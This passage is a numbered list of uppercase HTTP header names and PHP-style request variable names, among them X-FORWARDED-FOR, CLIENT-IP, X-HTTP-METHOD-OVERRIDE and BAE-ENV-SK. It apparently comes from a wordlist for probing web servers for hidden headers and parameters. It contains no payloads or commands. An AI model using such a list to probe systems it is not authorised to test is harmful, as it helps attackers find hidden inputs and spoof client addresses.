1015 | USE-PROXY
1016 | VARIANT-ALSO-VARIES
1017 | VERSION-NOT-SUPPORTED
1018 | X-OPERAMINI-PHONE
1019 | BAD-REQUEST
1020 | FORBIDDEN
1021 | UNAUTHORIZED
1022 | USER-AGENT-VIA
1023 | APPVERSION
1024 | CONTENT-LANGUAGE
1025 | NOT-FOUND
1026 | URL-STRIP-
1027 | X-PJAX
1028 | CF-CONNECTING-IP
1029 | CONTENT-LOCATION
1030 | FRONT-END-HTTPS
1031 | X-DCMGUID
1032 | FOO
1033 | FROM
1034 | IF-UNMODIFIED-SINCE
1035 | INFO-DOWNLOAD-SIZE
1036 | INFO-DOWNLOAD-TIME
1037 | INFO-RETURN-CODE
1038 | INFO-TOTAL-REQUEST-STAT
1039 | INFO-TOTAL-RESPONSE-STAT
1040 | X-FIRELOGGER
1041 | CONTENT-MD5
1042 | EXPECT
1043 | SERVER
1044 | X-UP-SUBNO
1045 | BAE-ENV-AK
1046 | BAE-ENV-SK
1047 | CONTENT-DISPOSITION
1048 | IF
1049 | OK
1050 | URL-JOIN-PATH
1051 | URL-JOIN-QUERY
1052 | URL-REPLACE
1053 | URL-STRIP-ALL
1054 | URL-STRIP-AUTH
1055 | URL-STRIP-FRAGMENT
1056 | URL-STRIP-PASS
1057 | URL-STRIP-PATH
1058 | URL-STRIP-PORT
1059 | URL-STRIP-QUERY
1060 | URL-STRIP-USER
1061 | DEPTH
1062 | X-FILE-NAME
1063 | IF-MATCH
1064 | PROXY-CONNECTION
1065 | X-MOZ
1066 | X-UCBROWSER-DEVICE-UA
1067 | DEVICE-STOCK-UA
1068 | MOD-REWRITE
1069 | PRAGMA
1070 | X-NOKIA-IPADDRESS
1071 | X-BOLT-PHONE-UA
1072 | X-ORIGINAL-USER-AGENT
1073 | X-SKYFIRE-PHONE
1074 | COOKIE2
1075 | CONTENT-RANGE
1076 | TITLE
1077 | SSL-HTTPS
1078 | REQUEST-ERROR-FILE
1079 | REQUEST-ERROR-GZIP-CRC
1080 | REQUEST-ERROR-GZIP-DATA
1081 | REQUEST-ERROR-GZIP-METHOD
1082 | REQUEST-ERROR-GZIP-READ
1083 | REQUEST-ERROR-PROXY
1084 | REQUEST-ERROR-REDIRECTS
1085 | REQUEST-ERROR-RESPONSE
1086 | REQUEST-ERROR-URL
1087 | SLUG
1088 | X-ATT-DEVICEID
1089 | X-REAL-IP
1090 | AUTHENTICATION
1091 | X-FIREPHP-VERSION
1092 | X-MOBILE-GATEWAY
1093 | CONTENT-ENCODING
1094 | REQUEST-MBSTRING
1095 | X-DEVICE-USER-AGENT
1096 | X-FORWARDED-PORT
1097 | X-HUAWEI-USERID
1098 | X-ORANGE-ID
1099 | X-VODAFONE-3GPDPCONTEXT
1100 | X-WAP-CLIENTID
1101 | UA-CPU
1102 | WAP-CONNECTION
1103 | X-NOKIA-GATEWAY-ID
1104 | UA-OS
1105 | BODY-MAXLENGTH
1106 | BODY-TRUNCATED
1107 | MAX-FORWARDS
1108 | MIMETYPE
1109 | VERIFY-CERT
1110 | REQUEST-HTTP-VER-1-0
1111 | REQUEST-HTTP-VER-1-1
1112 | REQUEST-METHOD-DELETE
1113 | REQUEST-METHOD-GET
1114 | REQUEST-METHOD-HEAD
1115 | REQUEST-METHOD-OPTIONS
1116 | REQUEST-METHOD-POST
1117 | REQUEST-METHOD-PUT
1118 | REQUEST-METHOD-TRACE
1119 | X-OPERAMINI-PHONE-UA
1120 | STATUS
1121 | X-UPDATE
1122 | METHOD
1123 | VIA
1124 | FORWARDED-FOR
1125 | X-FORWARDED
1126 | FORWARDED
1127 | SCHEME
1128 | X-FORWARDED-SERVER
1129 | ORIGIN
1130 | CACHE-CONTROL
1131 | X-CLIENT-IP
1132 | PROFILE
1133 | X-PROTOTYPE-VERSION
1134 | CLIENTADDRESS
1135 | BASE
1136 | PC-REMOTE-ADDR
1137 | X-WAP-PROFILE
1138 | POST-FILES
1139 | X-ORIGINAL-URL
1140 | SESSION-VARS
1141 | X-CLUSTER-CLIENT-IP
1142 | X-HTTP-METHOD-OVERRIDE
1143 | COOKIE-VARS
1144 | ENV-VARS
1145 | GET-VARS
1146 | RANGE
1147 | AUTHORIZATION
1148 | COOKIE
1149 | CONNECTION
1150 | POST-VARS
1151 | SERVER-VARS
1152 | X-FORWARDED-HOST
1153 | X-FORWARDED-PROTO
1154 | X-REWRITE-URL
1155 | RAW-POST-DATA
1156 | IF-NONE-MATCH
1157 | ACCEPT-CHARSET
1158 | IF-MODIFIED-SINCE
1159 | ACCEPT-ENCODING
1160 | X-REQUESTED-WITH
1161 | CLIENT-IP
1162 | ACCEPT
1163 | ACCEPT-LANGUAGE
1164 | X-FORWARDED-FOR
1165 | REFERER
1166 | USER-AGENT
1167 | HOST


--------------------------------------------------------------------------------